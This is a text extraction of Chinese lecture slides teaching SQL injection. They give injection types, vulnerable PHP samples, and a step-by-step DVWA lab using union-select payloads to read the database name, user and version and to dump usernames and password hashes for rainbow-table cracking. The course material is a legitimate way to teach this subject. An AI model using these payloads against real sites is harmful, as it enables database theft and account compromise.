PowerPoint 演示文稿

Size: px

Start display at page:

Download "PowerPoint 演示文稿"

炼郑
5 years ago
Views:

1 Web 攻防第 02 讲 SQL Inject(1) 主讲 : 罗老师 /BOBO

2 SQL Inject SQL Inject(1) SQL Inject 漏洞概述 SQL Inject 漏洞攻击流程及注入类型实验 :SQL Inject 漏洞手动利用 - 数据库信息获取 SQL Inject(2) 实验 :SQL Inject 漏洞手动利用 -OS 权限获取实验 :Burp Suit 爆破数据库表名 SQL Inject(3) SQLmap 经典用法介绍 SQLmap 经典用法简介实验 : 使用 SQLmap 进行自动注入 SQL Inject 漏洞防范措施更多信息 2018/6/9 2

3 SQL Inject(1) 课程内容 SQL Inject 漏洞概述 SQL Inject 漏洞攻击流程及注入类型实验 :SQL Inject 漏洞手动利用 - 数据库信息获取 2018/6/9 3

4 SQL Inject 漏洞概述在 OWASP 发布的 Top 10 漏洞里面, 注入漏洞一直是危害排名靠前, 主要指数据库注入漏洞数据库注入漏洞, 主要是开发人员在构建代码时, 没有对输入边界进行过滤或过滤不足, 导致攻击者可以通过合法的输入点提交一些精心构造的语句, 从而欺骗后台数据库对其进行执行, 导致数据库信息泄露的一种漏洞 2018/6/9 4

5 haker 1 or 1=1 Select uname from users where id=1; Select uname from users where id=1 or 1=1; userid= Web-server Database-server 2018/6/9 5

6 SQL Inject(1) 课程内容 SQL Inject 漏洞概述 SQL Inject 漏洞攻击流程及注入类型实验 :SQL Inject 漏洞手动利用 - 数据库信息获取 2018/6/9 6

7 SQL Inject 漏洞攻击流程步骤 1: 注入点发现自动方式 : 使用 web 漏洞扫描工具, 自动进行注入点发现 ; 手动方式 : 手工构造 sql 语句进行注入点发现步骤 2: 信息获取通过注入点期望得到的数据 1 环境信息 : 数据库类型, 数据库版本, 操作系统版本, 用户信息等 2 数据库信息 : 数据库名称, 数据库表, 表字段, 字段内容 ( 加密内容破解 ) 步骤 3: 获取权限获取操作系统权限 : 通过数据库执行 shell, 上传木马 2018/6/9 7

8 SQL Inject 漏洞攻击注入类型数字型 user_id=$id 字符型 user_id= $id 搜索型 text LIKE %{$_GET[ search ]}% 2018/6/9 8

9 注入点判断 : 数字型数字型注入 : 提交 :7 Select * from 表名 where id =7; 提交 :7 and 1=1( 将得到正常页面 ) Select * from 表名 where id =7 and 1=1; 提交 :7 and 1=2( 将得到异常页面 ) Select * from 表名 where id =7 and 1=2; 单引号测试 : Select 空 from 表名 where id = ; <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysql_query( $query ) or die( '<pre>'. mysql_error(). '</pre>' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); } // Feedback for end user echo "<pre>id: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } mysql_close();?> 2018/6/9 9

10 注入点判断 : 字符型字符型注入 : 提交 :8 Select * from 表名 where name = 8 ; 提交 :8 and 1=1( 无意义 ) Select * from 表名 where name = 8 and 1=1 ; 提交 :8 and 1=1--(-- 注释符号 ) Select * from 表名 where name = 8 and 1=1-- ; 提交 :8 and 1=2--(-- 注释符号 ) Select * from 表名 where name = 8 and 1=2-- ; <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $query ) or die( '<pre>'. mysql_error(). '</pre>' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>id: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 单引号测试 : Select 空 from 表名 where id = ; } } // Increase loop count $i++; mysql_close();?> 2018/6/9 10

11 注入点判断 : 搜索型字符型注入 : if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ search' ]; $query = SELECT * FROM comment WHERE comment_text LIKE %$search% ;(SQL 中 % 表示模糊匹配 ) 输入 1 Select * from comment where comment_text like %1% ; 输入 :1% and 1=1-- 或者 1% and %1% = %2 Select * from comment where comment_text like %1% and 1=1-- % ; Select * from comment where comment_text like %1% and %1% = %2 % ; 总结 : 就是对 SQL 中的各种类型的输入进行闭合测试, 构造合法 SQL, 欺骗后台执行 2018/6/9 11

12 MySQL 小知识 : 注释符号 MySQL 提供 3 种注释 #, 字符从行尾, 后面的字符被注释 ; --, 序列到行位, 第二个破折号至少跟一个空格符号, 后面的内容被注释 /* */, 结束序列不在同一行中 mysql> SELECT 1+1; # This is comment continus to the end of line mysql> SELECT 1+1; -- This is comment continus to the end of line mysql> SELECT 1 /* this is an in-line comment */+1; mysql> SELECT 1+ /* this is a amultiple-line comment */1 2018/6/9 12

13 SQL Inject(1) 课程内容 SQL Inject 漏洞概述 SQL Inject 漏洞攻击流程及注入类型实验 :SQL Inject 漏洞手动利用 - 数据库信息获取 2018/6/9 13

14 实验 :SQL Inject 漏洞手动利用实验拓扑测试人员 SQL Inject SQL Inject( 盲注 ) 2018/6/9 14

15 步骤 1: 注入点判断 1 看到 User ID, 想到的是数字, 故意输入 1, 点击提交返回信息正常猜想 :select * from users where id = 1; 2, 使用单引号 ( 英文模式下的 ) 进行测试返回如下红色字体内容 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1 说明单引号被传入到了 SQL, 注入点存在猜想 :select * from users where id = ; 因为多了个单引号, 导致 sql syntax 报错, 从报错信息可以看出数据库为 MySQL 2018/6/9 15

16 步骤 2: 注入点进一步探测 3 看起来 User ID 对应的变量应该是数字型, 所以采用数字型注入类型猜想 :select * from users where id = 1 or 1=1; 因为 or 1=1 永远为 true 发现只显示了 admin, 并无其他结果可能是后台将 userid 变量设置成了字符类型, 即 user_id= $id, 在数据库中字符类型需要使用引号引起来因此猜想 :select * from users where id = 1 or 1=1 ; 所以, 还是只显示了 id=1 的结果 2018/6/9 16

17 步骤 3: 遍历结果 4 使用字符型注入提交 :1 or 1 = 1 因此猜想 :select * from users where id = 1 or 1 = 1 ; 说明 : 第一个单引号与变量前面的第一个单引号形成闭合, 变量后面的单引号与 1 形成闭合 /6/9 17

18 步骤 4: 结果判断 1 5 继续判断信息提交 :1 order by 1# 和 1 order by 2#, 返回正常信息提交 :1 order by 3#, 返回信息如下 Unknown column 3 in order clause 因此确认, 该数据表只有两列猜想 : select 字段 1, 字段 2 from users where id = 1 order by x 表示对查询的结果进行排序, 按照第 x 列进行排序, 默认数字 0~9, 字母 a~z, 如果查询结果只有 2 列, 说明只有两个字段 2018/6/9 18

19 步骤 5: 结果判断 2 6 继续判断信息提交 :1' and 1 =2 union select 1,2# 猜想 : select 字段 1, 字段 2 from users where id = 1 and 1=2 union select 1,2# 先输入一个不成立的查询 select 字段 1, 字段 2 from users where id = 1 1=2, 然后使用 union select 1,2# 进行求值返回信息如预期所示,Firstname 显示 1,Surnname 显示了 /6/9 19

20 步骤 6: 信息和数据获取 7 获取数据库信息提交 :1' and 1 =2 union select database(),user()# 得到了当前数据库的名字, 以及当前登录账号为 root 提交 :1' and 1 =2 union select database(),version()# 得到了当前数据库的版本通过这些信息, 可以开始猜数据库 dvwa 的表, 一般是用户表, 以及表所对应的列名, 一般是用户名和密码所对应的列名 2018/6/9 20

21 步骤 7: 表, 列, 内容获取 (1) 8 获取数据库信息假装自己运气好提交 :1' and exists(select * from users)# 得到了当前数据库的表名 users 1) 手动尝试一般输入 admin,user,users 等 ; 2) 也可以使用工具暴力破解, 例如通过 brup suite 代理抓包重放, 通过字典进行破解 2018/6/9 21

22 步骤 7: 表, 列, 内容获取 (2) 9 获取数据库信息假装自己运气好提交 :1' and 1=2 union select first_name,password from users# 得到了当前数据库的表名 users 中的用户名和密码得到了 64 位的 MD5 哈希后的值, 可以去彩虹表查查, 获得明文密码 /6/9 22

23 SQL Inject(1) 课程回顾 SQL Inject 漏洞概述 SQL Inject 漏洞攻击流程及注入类型实验 :SQL Inject 漏洞手动利用 - 数据库信息获取 2018/6/9 23

25 彩虹表的作用和演示

26 谢谢观看 Thank You 2018/6/9 26

PowerPoint 演示文稿

PowerPoint 演示文稿 Web 攻防第 04 讲 SQL Inject(3) 主讲 : 罗老师 /BOBO SQL Inject SQL Inject(1) SQL Inject 漏洞概述 SQL Inject 漏洞攻击流程及注入类型实验 :SQL Inject 漏洞手动利用 - 数据库信息获取 SQL Inject(2) 实验 :SQL Inject 漏洞手动利用 -OS 权限获取实验 :Burp Suit 爆破数据库表名